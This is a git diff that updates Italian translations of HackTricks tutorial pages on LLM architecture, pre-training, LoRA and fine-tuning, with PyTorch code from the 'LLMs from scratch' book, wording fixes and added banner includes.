> [!TIP]
> L'obiettivo di questa rete è trovare le relazioni tra i token nello stesso contesto. Inoltre, i token sono divisi in diverse teste per prevenire l'overfitting anche se le relazioni finali trovate per testa sono combinate alla fine di questa rete.
>
> Inoltre, durante l'addestramento viene applicata una **maschera causale** in modo che i token successivi non vengano presi in considerazione quando si cercano le relazioni specifiche con un token e viene applicato anche un **dropout** per **prevenire l'overfitting**.
> Inoltre, durante l'addestramento viene applicata una **maschera causale** in modo che i token successivi non vengano presi in considerazione quando si cercano le relazioni specifiche a un token e viene applicato anche un **dropout** per **prevenire l'overfitting**.
### **Normalizzazione** del Livello
### **Normalizzazione** del livello
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
@ -294,10 +296,10 @@ return self.scale * norm_x + self.shift
- **Layer Normalization:** Una tecnica utilizzata per normalizzare gli input attraverso le caratteristiche (dimensioni di embedding) per ciascun esempio individuale in un batch.
- **Componenti:**
- **`eps`:** Una piccola costante (`1e-5`) aggiunta alla varianza per prevenire la divisione per zero durante la normalizzazione.
- **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati a uno e zero, rispettivamente.
- **`scale` e `shift`:** Parametri apprendibili (`nn.Parameter`) che consentono al modello di scalare e spostare l'output normalizzato. Sono inizializzati rispettivamente a uno e zero.
- **Processo di Normalizzazione:**
- **Calcola Media (`mean`):** Calcola la media dell'input `x` attraverso la dimensione di embedding (`dim=-1`), mantenendo la dimensione per il broadcasting (`keepdim=True`).
- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` assicura che la varianza venga calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni.
- **Calcola Varianza (`var`):** Calcola la varianza di `x` attraverso la dimensione di embedding, mantenendo anche la dimensione. Il parametro `unbiased=False` assicura che la varianza sia calcolata utilizzando l'estimatore biased (dividendo per `N` invece di `N-1`), che è appropriato quando si normalizza sulle caratteristiche piuttosto che sui campioni.
- **Normalizza (`norm_x`):** Sottrae la media da `x` e divide per la radice quadrata della varianza più `eps`.
- **Scala e Sposta:** Applica i parametri apprendibili `scale` e `shift` all'output normalizzato.
@ -306,7 +308,7 @@ return self.scale * norm_x + self.shift
### **Blocco Transformer**
_Sono state aggiunte forme come commenti per comprendere meglio le forme delle matrici:_
_Le forme sono state aggiunte come commenti per comprendere meglio le forme delle matrici:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
@ -348,17 +350,17 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Scopo e Funzionalità**
- **Composizione dei Livelli:** Combina attenzione multi-testa, rete feedforward, normalizzazione dei livelli e connessioni residue.
- **Normalizzazione dei Livelli:** Applicata prima dei livelli di attenzione e feedforward per un addestramento stabile.
- **Composizione dei Livelli:** Combina multi-head attention, feedforward network, layer normalization e connessioni residue.
- **Layer Normalization:** Applicata prima dei livelli di attenzione e feedforward per un addestramento stabile.
- **Connessioni Residue (Scorciatoie):** Aggiungono l'input di un livello alla sua uscita per migliorare il flusso del gradiente e abilitare l'addestramento di reti profonde.
- **Dropout:** Applicato dopo i livelli di attenzione e feedforward per la regolarizzazione.
#### **Funzionalità Passo-Passo**
1. **Primo Percorso Residuo (Auto-Attenzione):**
1. **Primo Percorso Residuo (Self-Attention):**
- **Input (`shortcut`):** Salva l'input originale per la connessione residua.
- **Layer Norm (`norm1`):** Normalizza l'input.
- **Multi-Head Attention (`att`):** Applica auto-attenzione.
- **Multi-Head Attention (`att`):** Applica self-attention.
- **Dropout (`drop_shortcut`):** Applica dropout per la regolarizzazione.
- **Aggiungi Residuo (`x + shortcut`):** Combina con l'input originale.
2. **Secondo Percorso Residuo (FeedForward):**
@ -519,7 +521,7 @@ total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **Parametri Totali di Attenzione Multi-Testa:**
- **Totale Parametri Attenzione Multi-Testa:**
```python
mha_params = total_qkv_params + out_proj_params
@ -547,14 +549,14 @@ ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **Parametri Totali FeedForward:**
- **Totale Parametri FeedForward:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**c. Normalizzazioni dei Livelli**
**c. Normalizzazioni di Strato**
- **Componenti:**
- Due istanze di `LayerNorm` per blocco.
@ -565,7 +567,7 @@ ff_params = 2,362,368 + 2,360,064 = 4,722,432
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. Parametri Totali per Blocco Transformer**
**d. Totale Parametri per Blocco Transformer**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
@ -608,7 +610,7 @@ total_params = 163,009,536
```
## Genera Testo
Avere un modello che prevede il prossimo token come quello precedente, è sufficiente prendere i valori dell'ultimo token dall'output (poiché saranno quelli del token previsto), che saranno un **valore per voce nel vocabolario** e poi usare la funzione `softmax` per normalizzare le dimensioni in probabilità che sommano a 1 e poi ottenere l'indice della voce più grande, che sarà l'indice della parola all'interno del vocabolario.
Avendo un modello che prevede il prossimo token come quello precedente, è sufficiente prendere i valori dell'ultimo token dall'output (poiché saranno quelli del token previsto), che saranno un **valore per voce nel vocabolario** e poi utilizzare la funzione `softmax` per normalizzare le dimensioni in probabilità che sommano a 1 e poi ottenere l'indice della voce più grande, che sarà l'indice della parola all'interno del vocabolario.
Codice da [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
@ -664,3 +666,6 @@ print("Output length:", len(out[0]))
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

27
src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md
View File

@ -1,6 +1,8 @@
# 6. Pre-training & Loading models
## Text Generation
{{#include /banners/hacktricks-training.md}}
## Generazione di Testo
Per addestrare un modello, è necessario che il modello sia in grado di generare nuovi token. Poi confronteremo i token generati con quelli attesi per addestrare il modello a **imparare i token che deve generare**.
@ -9,11 +11,11 @@ Come negli esempi precedenti, abbiamo già previsto alcuni token, è possibile r
> [!TIP]
> L'obiettivo di questa sesta fase è molto semplice: **Addestrare il modello da zero**. Per questo verrà utilizzata l'architettura LLM precedente con alcuni cicli sui set di dati utilizzando le funzioni di perdita e l'ottimizzatore definiti per addestrare tutti i parametri del modello.
## Text Evaluation
## Valutazione del Testo
Per eseguire un addestramento corretto è necessario misurare le previsioni ottenute per il token atteso. L'obiettivo dell'addestramento è massimizzare la probabilità del token corretto, il che implica aumentare la sua probabilità rispetto ad altri token.
Per massimizzare la probabilità del token corretto, i pesi del modello devono essere modificati affinché quella probabilità sia massimizzata. Gli aggiornamenti dei pesi avvengono tramite **backpropagation**. Questo richiede una **funzione di perdita da massimizzare**. In questo caso, la funzione sarà la **differenza tra la previsione effettuata e quella desiderata**.
Per massimizzare la probabilità del token corretto, i pesi del modello devono essere modificati affinché quella probabilità sia massimizzata. Gli aggiornamenti dei pesi vengono effettuati tramite **backpropagation**. Questo richiede una **funzione di perdita da massimizzare**. In questo caso, la funzione sarà la **differenza tra la previsione effettuata e quella desiderata**.
Tuttavia, invece di lavorare con le previsioni grezze, si lavorerà con un logaritmo in base n. Quindi, se la previsione attuale del token atteso era 7.4541e-05, il logaritmo naturale (base *e*) di **7.4541e-05** è approssimativamente **-9.5042**.\
Poi, per ogni voce con una lunghezza di contesto di 5 token, ad esempio, il modello dovrà prevedere 5 token, con i primi 4 token che sono gli ultimi dell'input e il quinto quello previsto. Pertanto, per ogni voce avremo 5 previsioni in quel caso (anche se i primi 4 erano nell'input, il modello non lo sa) con 5 token attesi e quindi 5 probabilità da massimizzare.
@ -23,11 +25,11 @@ Pertanto, dopo aver eseguito il logaritmo naturale su ogni previsione, si calcol
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Un altro modo per misurare quanto sia buono il modello è chiamato perplexity. **Perplexity** è una metrica utilizzata per valutare quanto bene un modello di probabilità prevede un campione. Nella modellazione del linguaggio, rappresenta l'**incertezza del modello** quando prevede il prossimo token in una sequenza.\
Ad esempio, un valore di perplexity di 48725 significa che quando deve prevedere un token non è sicuro su quale tra 48.725 token nel vocabolario sia quello giusto.
Ad esempio, un valore di perplexity di 48725 significa che, quando deve prevedere un token, non è sicuro su quale tra 48.725 token nel vocabolario sia quello giusto.
## Pre-Train Example
## Esempio di Pre-Addestramento
Questo è il codice iniziale proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) alcune volte leggermente modificato
Questo è il codice iniziale proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) a volte leggermente modificato
<details>
@ -545,7 +547,7 @@ In una sezione precedente è stata presentata una funzione che otteneva solo il
La seguente funzione `generate_text` applicherà i concetti di `top-k`, `temperature` e `multinomial`.
- Il **`top-k`** significa che inizieremo a ridurre a `-inf` tutte le probabilità di tutti i token tranne i top k token. Quindi, se k=3, prima di prendere una decisione solo i 3 token più probabili avranno una probabilità diversa da `-inf`.
- Il **`top-k`** significa che inizieremo a ridurre a `-inf` tutte le probabilità di tutti i token tranne i k token migliori. Quindi, se k=3, prima di prendere una decisione solo i 3 token più probabili avranno una probabilità diversa da `-inf`.
- La **`temperature`** significa che ogni probabilità sarà divisa per il valore della temperatura. Un valore di `0.1` migliorerà la probabilità più alta rispetto a quella più bassa, mentre una temperatura di `5`, ad esempio, la renderà più piatta. Questo aiuta a migliorare la variazione nelle risposte che vorremmo che l'LLM avesse.
- Dopo aver applicato la temperatura, una funzione **`softmax`** viene applicata nuovamente per fare in modo che tutti i token rimanenti abbiano una probabilità totale di 1.
- Infine, invece di scegliere il token con la probabilità più alta, la funzione **`multinomial`** viene applicata per **prevedere il prossimo token in base alle probabilità finali**. Quindi, se il token 1 aveva il 70% di probabilità, il token 2 il 20% e il token 3 il 10%, il 70% delle volte verrà selezionato il token 1, il 20% delle volte sarà il token 2 e il 10% delle volte sarà il token 3.
@ -599,8 +601,8 @@ return idx
> _Nota che questo miglioramento non è incluso nel codice precedente._
> [!TIP]
> Un altro modo per migliorare il testo generato è utilizzare **Beam search** invece della ricerca greedy utilizzata in questo esempio.\
> A differenza della ricerca greedy, che seleziona la parola successiva più probabile a ogni passo e costruisce una singola sequenza, **beam search tiene traccia delle k sequenze parziali con il punteggio più alto** (chiamate "beams") a ogni passo. Esplorando più possibilità simultaneamente, bilancia efficienza e qualità, aumentando le possibilità di **trovare una sequenza complessiva migliore** che potrebbe essere persa dall'approccio greedy a causa di scelte subottimali precoci.
> Un altro modo per migliorare il testo generato è utilizzare **Beam search** invece della ricerca golosa utilizzata in questo esempio.\
> A differenza della ricerca golosa, che seleziona la parola successiva più probabile a ogni passo e costruisce una singola sequenza, **beam search tiene traccia delle k sequenze parziali con il punteggio più alto** (chiamate "beams") a ogni passo. Esplorando più possibilità simultaneamente, bilancia efficienza e qualità, aumentando le possibilità di **trovare una sequenza complessiva migliore** che potrebbe essere persa dall'approccio goloso a causa di scelte subottimali precoci.
>
> _Nota che questo miglioramento non è incluso nel codice precedente._
@ -760,7 +762,7 @@ Poi la grande funzione `train_model_simple` è quella che effettivamente addestr
- `optimizer.zero_grad()` viene chiamato per resettare i gradienti ad ogni round per non accumularli.
- Il parametro **`lr`** è il **tasso di apprendimento** che determina la **dimensione dei passi** effettuati durante il processo di ottimizzazione quando si aggiornano i parametri del modello. Un tasso di apprendimento **più piccolo** significa che l'ottimizzatore **effettua aggiornamenti più piccoli** ai pesi, il che può portare a una convergenza più **precisa** ma potrebbe **rallentare** l'addestramento. Un tasso di apprendimento **più grande** può accelerare l'addestramento ma **rischia di superare** il minimo della funzione di perdita (**saltare oltre** il punto in cui la funzione di perdita è minimizzata).
- **Weight Decay** modifica il passo di **Calcolo della Perdita** aggiungendo un termine extra che penalizza i pesi grandi. Questo incoraggia l'ottimizzatore a trovare soluzioni con pesi più piccoli, bilanciando tra l'adattamento ai dati e il mantenimento del modello semplice, prevenendo l'overfitting nei modelli di machine learning scoraggiando il modello dall'assegnare troppa importanza a qualsiasi singola caratteristica.
- Gli ottimizzatori tradizionali come SGD con regolarizzazione L2 accoppiano il weight decay con il gradiente della funzione di perdita. Tuttavia, **AdamW** (una variante dell'ottimizzatore Adam) decouples il weight decay dall'aggiornamento del gradiente, portando a una regolarizzazione più efficace.
- Gli ottimizzatori tradizionali come SGD con regolarizzazione L2 accoppiano il weight decay con il gradiente della funzione di perdita. Tuttavia, **AdamW** (una variante dell'ottimizzatore Adam) decoppia il weight decay dall'aggiornamento del gradiente, portando a una regolarizzazione più efficace.
- Il dispositivo da utilizzare per l'addestramento
- Il numero di epoche: Numero di volte per passare sui dati di addestramento
- La frequenza di valutazione: La frequenza per chiamare `evaluate_model`
@ -917,7 +919,7 @@ optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
O solo il modello se hai intenzione di usarlo solo:
O solo il modello se hai intenzione di usarlo:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
@ -939,3 +941,6 @@ Ci sono 2 script rapidi per caricare i pesi di GPT2 localmente. Per entrambi puo
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

4
src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md
View File

@ -1,5 +1,7 @@
# 7.0. Miglioramenti LoRA nel fine-tuning
{{#include /banners/hacktricks-training.md}}
## Miglioramenti LoRA
> [!TIP]
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

30
src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md
View File

@ -1,6 +1,8 @@
# 7.1. Fine-Tuning for Classification
# 7.1. Fine-Tuning per la Classificazione
## What is
{{#include /banners/hacktricks-training.md}}
## Cos'è
Il fine-tuning è il processo di prendere un **modello pre-addestrato** che ha appreso **modelli linguistici generali** da enormi quantità di dati e **adattarlo** per eseguire un **compito specifico** o per comprendere il linguaggio specifico di un dominio. Questo si ottiene continuando l'addestramento del modello su un dataset più piccolo e specifico per il compito, permettendogli di regolare i suoi parametri per adattarsi meglio alle sfumature dei nuovi dati, sfruttando al contempo la vasta conoscenza che ha già acquisito. Il fine-tuning consente al modello di fornire risultati più accurati e pertinenti in applicazioni specializzate senza la necessità di addestrare un nuovo modello da zero.
@ -8,33 +10,33 @@ Il fine-tuning è il processo di prendere un **modello pre-addestrato** che ha a
> Poiché il pre-addestramento di un LLM che "comprende" il testo è piuttosto costoso, di solito è più facile ed economico fare fine-tuning su modelli pre-addestrati open source per eseguire un compito specifico che vogliamo che esegua.
> [!TIP]
> L'obiettivo di questa sezione è mostrare come fare fine-tuning su un modello già pre-addestrato, in modo che invece di generare nuovo testo, l'LLM selezioni e fornisca le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno).
> L'obiettivo di questa sezione è mostrare come fare fine-tuning su un modello già pre-addestrato, in modo che invece di generare nuovo testo, l'LLM selezionerà e fornirà le **probabilità che il testo fornito venga categorizzato in ciascuna delle categorie date** (come se un testo fosse spam o meno).
## Preparing the data set
## Preparazione del dataset
### Data set size
### Dimensione del dataset
Naturalmente, per fare fine-tuning su un modello è necessario avere dei dati strutturati da utilizzare per specializzare il tuo LLM. Nell'esempio proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 è fine-tuned per rilevare se un'email è spam o meno utilizzando i dati di [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
Certo, per fare fine-tuning su un modello hai bisogno di alcuni dati strutturati da utilizzare per specializzare il tuo LLM. Nell'esempio proposto in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 è fine-tuned per rilevare se un'email è spam o meno utilizzando i dati di [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
Questo dataset contiene molti più esempi di "non spam" che di "spam", quindi il libro suggerisce di **utilizzare solo tanti esempi di "non spam" quanti di "spam"** (rimuovendo quindi dal set di addestramento tutti gli esempi extra). In questo caso, erano 747 esempi di ciascuno.
Questo dataset contiene molti più esempi di "non spam" che di "spam", quindi il libro suggerisce di **utilizzare solo tanti esempi di "non spam" quanti di "spam"** (rimuovendo quindi tutti gli esempi extra dai dati di addestramento). In questo caso, erano 747 esempi di ciascuno.
Poi, **il 70%** del dataset è utilizzato per **l'addestramento**, **il 10%** per **la validazione** e **il 20%** per **il test**.
Poi, il **70%** del dataset è utilizzato per il **training**, il **10%** per la **validazione** e il **20%** per il **testing**.
- Il **set di validazione** è utilizzato durante la fase di addestramento per fare fine-tuning degli **iperparametri** del modello e prendere decisioni sull'architettura del modello, aiutando effettivamente a prevenire l'overfitting fornendo feedback su come il modello si comporta su dati non visti. Permette miglioramenti iterativi senza pregiudicare la valutazione finale.
- Questo significa che, sebbene i dati inclusi in questo dataset non siano utilizzati direttamente per l'addestramento, vengono utilizzati per ottimizzare i migliori **iperparametri**, quindi questo set non può essere utilizzato per valutare le prestazioni del modello come quello di test.
- Questo significa che, sebbene i dati inclusi in questo dataset non siano utilizzati direttamente per l'addestramento, vengono utilizzati per ottimizzare i migliori **iperparametri**, quindi questo set non può essere utilizzato per valutare le prestazioni del modello come quello di testing.
- Al contrario, il **set di test** è utilizzato **solo dopo** che il modello è stato completamente addestrato e tutti gli aggiustamenti sono stati completati; fornisce una valutazione imparziale della capacità del modello di generalizzare a nuovi dati non visti. Questa valutazione finale sul set di test fornisce un'indicazione realistica di come ci si aspetta che il modello si comporti nelle applicazioni del mondo reale.
### Entries length
### Lunghezza delle voci
Poiché l'esempio di addestramento si aspetta voci (testo delle email in questo caso) della stessa lunghezza, è stato deciso di rendere ogni voce grande quanto la più grande aggiungendo gli id di `<|endoftext|>` come padding.
### Initialize the model
### Inizializzare il modello
Utilizzando i pesi pre-addestrati open-source, inizializza il modello per l'addestramento. Abbiamo già fatto questo prima e seguendo le istruzioni di [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) puoi farlo facilmente.
## Classification head
## Testa di classificazione
In questo esempio specifico (predire se un testo è spam o meno), non siamo interessati a fare fine-tuning secondo il vocabolario completo di GPT2, ma vogliamo solo che il nuovo modello dica se l'email è spam (1) o meno (0). Pertanto, andremo a **modificare l'ultimo strato che** fornisce le probabilità per token del vocabolario per uno che fornisce solo le probabilità di essere spam o meno (quindi come un vocabolario di 2 parole).
In questo esempio specifico (predire se un testo è spam o meno), non siamo interessati a fare fine-tuning secondo il vocabolario completo di GPT2, ma vogliamo solo che il nuovo modello dica se l'email è spam (1) o meno (0). Pertanto, andremo a **modificare l'ultimo strato che** fornisce le probabilità per token del vocabolario in uno che fornisce solo le probabilità di essere spam o meno (quindi come un vocabolario di 2 parole).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
@ -108,3 +110,5 @@ Puoi trovare tutto il codice per fine-tunare GPT2 come classificatore di spam in
## Riferimenti
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

22
src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md
View File

@ -1,11 +1,13 @@
# 7.2. Fine-Tuning per seguire le istruzioni
# 7.2. Ottimizzazione per seguire istruzioni
{{#include /banners/hacktricks-training.md}}
> [!TIP]
> L'obiettivo di questa sezione è mostrare come **affinare un modello già pre-addestrato per seguire le istruzioni** piuttosto che generare semplicemente testo, ad esempio, rispondendo a compiti come un chatbot.
> L'obiettivo di questa sezione è mostrare come **ottimizzare un modello già pre-addestrato per seguire istruzioni** piuttosto che generare semplicemente testo, ad esempio, rispondendo a compiti come un chatbot.
## Dataset
Per affinare un LLM per seguire le istruzioni è necessario avere un dataset con istruzioni e risposte per affinare il LLM. Ci sono diversi formati per addestrare un LLM a seguire le istruzioni, ad esempio:
Per ottimizzare un LLM per seguire istruzioni è necessario avere un dataset con istruzioni e risposte per ottimizzare il LLM. Ci sono diversi formati per addestrare un LLM a seguire istruzioni, ad esempio:
- L'esempio dello stile di prompt Apply Alpaca:
```csharp
@ -56,10 +58,10 @@ Poi, come sempre, è necessario separare il dataset in set per l'addestramento,
Poi, è necessario raggruppare tutti gli input e gli output attesi per l'addestramento. Per questo, è necessario:
- Tokenizzare i testi
- Riempire tutti i campioni alla stessa lunghezza (di solito la lunghezza sarà grande quanto la lunghezza del contesto utilizzato per pre-addestrare il LLM)
- Aggiungere padding a tutti i campioni alla stessa lunghezza (di solito la lunghezza sarà grande quanto la lunghezza del contesto utilizzato per pre-addestrare il LLM)
- Creare i token attesi spostando di 1 l'input in una funzione di collate personalizzata
- Sostituire alcuni token di riempimento con -100 per escluderli dalla perdita di addestramento: Dopo il primo token `endoftext`, sostituire tutti gli altri token `endoftext` con -100 (perché usare `cross_entropy(...,ignore_index=-100)` significa che ignorerà i target con -100)
- \[Opzionale] Mascherare usando -100 anche tutti i token appartenenti alla domanda in modo che il LLM impari solo a generare la risposta. Nello stile Apply Alpaca questo significherà mascherare tutto fino a `### Response:`
- Sostituire alcuni token di padding con -100 per escluderli dalla perdita di addestramento: Dopo il primo token `endoftext`, sostituire tutti gli altri token `endoftext` con -100 (perché usare `cross_entropy(...,ignore_index=-100)` significa che ignorerà i target con -100)
- \[Opzionale\] Mascherare usando -100 anche tutti i token appartenenti alla domanda in modo che il LLM impari solo a generare la risposta. Nello stile Apply Alpaca questo significherà mascherare tutto fino a `### Response:`
Con questo creato, è tempo di creare i data loader per ciascun dataset (addestramento, validazione e test).
@ -72,16 +74,16 @@ Ricorda che l'overfitting si verifica quando la perdita di addestramento si sta
## Response Quality
Poiché questo non è un fine-tuning di classificazione in cui è possibile fidarsi maggiormente delle variazioni di perdita, è anche importante controllare la qualità delle risposte nel set di test. Pertanto, è consigliato raccogliere le risposte generate da tutti i set di test e **controllare manualmente la loro qualità** per vedere se ci sono risposte sbagliate (nota che è possibile per il LLM creare correttamente il formato e la sintassi della frase di risposta ma fornire una risposta completamente errata. La variazione della perdita non rifletterà questo comportamento).\
Poiché questo non è un fine-tuning di classificazione in cui è possibile fidarsi maggiormente delle variazioni di perdita, è anche importante controllare la qualità delle risposte nel set di test. Pertanto, è consigliato raccogliere le risposte generate da tutti i set di test e **controllare la loro qualità manualmente** per vedere se ci sono risposte sbagliate (nota che è possibile per il LLM creare correttamente il formato e la sintassi della frase di risposta ma fornire una risposta completamente errata. La variazione della perdita non rifletterà questo comportamento).\
Nota che è anche possibile eseguire questa revisione passando le risposte generate e le risposte attese a **altri LLM e chiedere loro di valutare le risposte**.
Altri test da eseguire per verificare la qualità delle risposte:
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU valuta le conoscenze e le capacità di problem-solving di un modello in 57 soggetti, comprese le scienze umane, le scienze e altro. Utilizza domande a scelta multipla per valutare la comprensione a vari livelli di difficoltà, dall'elementare all'avanzato professionale.
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU valuta la conoscenza e le capacità di problem-solving di un modello in 57 soggetti, comprese le scienze umane, le scienze e altro. Utilizza domande a scelta multipla per valutare la comprensione a vari livelli di difficoltà, dall'elementare all'avanzato professionale.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Questa piattaforma consente agli utenti di confrontare le risposte di diversi chatbot fianco a fianco. Gli utenti inseriscono un prompt e più chatbot generano risposte che possono essere confrontate direttamente.
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval è un framework di valutazione automatizzato in cui un LLM avanzato come GPT-4 valuta le risposte di altri modelli a vari prompt.
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE è una raccolta di nove compiti di comprensione del linguaggio naturale, tra cui analisi del sentiment, implicazione testuale e risposta a domande.
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Basato su GLUE, SuperGLUE include compiti più impegnativi progettati per essere difficili per i modelli attuali.
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Basandosi su GLUE, SuperGLUE include compiti più impegnativi progettati per essere difficili per i modelli attuali.
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench è un benchmark su larga scala con oltre 200 compiti che testano le capacità di un modello in aree come ragionamento, traduzione e risposta a domande.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM fornisce una valutazione completa attraverso vari metriche come accuratezza, robustezza e equità.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Un framework di valutazione open-source di OpenAI che consente di testare modelli AI su compiti personalizzati e standardizzati.
@ -98,3 +100,5 @@ Puoi trovare un esempio del codice per eseguire questo fine-tuning in [https://g
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

8
src/AI/AI-llm-architecture/README.md
View File

@ -1,5 +1,7 @@
# LLM Training - Data Preparation
{{#include /banners/hacktricks-training.md}}
**Queste sono le mie note dal libro molto raccomandato** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **con alcune informazioni extra.**
## Basic Information
@ -34,7 +36,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> L'obiettivo di questa terza fase è molto semplice: **Assegnare a ciascuno dei token precedenti nel vocabolario un vettore delle dimensioni desiderate per addestrare il modello.** Ogni parola nel vocabolario sarà un punto in uno spazio di X dimensioni.\
> Nota che inizialmente la posizione di ogni parola nello spazio è semplicemente inizializzata "casualmente" e queste posizioni sono parametri addestrabili (saranno migliorati durante l'addestramento).
>
> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in posizioni diverse nella frase avrà una rappresentazione (significato) diversa.
> Inoltre, durante l'embedding dei token **viene creata un'altra layer di embeddings** che rappresenta (in questo caso) la **posizione assoluta della parola nella frase di addestramento**. In questo modo, una parola in diverse posizioni nella frase avrà una rappresentazione (significato) diversa.
{{#ref}}
3.-token-embeddings.md
@ -55,7 +57,7 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
> [!TIP]
> L'obiettivo di questa quinta fase è molto semplice: **Sviluppare l'architettura del LLM completo**. Metti tutto insieme, applica tutti i layer e crea tutte le funzioni per generare testo o trasformare testo in ID e viceversa.
>
> Questa architettura sarà utilizzata sia per l'addestramento che per la previsione del testo dopo che è stata addestrata.
> Questa architettura sarà utilizzata sia per l'addestramento che per la previsione del testo dopo che è stato addestrato.
{{#ref}}
5.-llm-architecture.md
@ -96,3 +98,5 @@ Dovresti iniziare leggendo questo post per alcuni concetti di base che dovresti
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}
{{#include /banners/hacktricks-training.md}}

30
src/SUMMARY.md
View File

@ -149,6 +149,7 @@
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
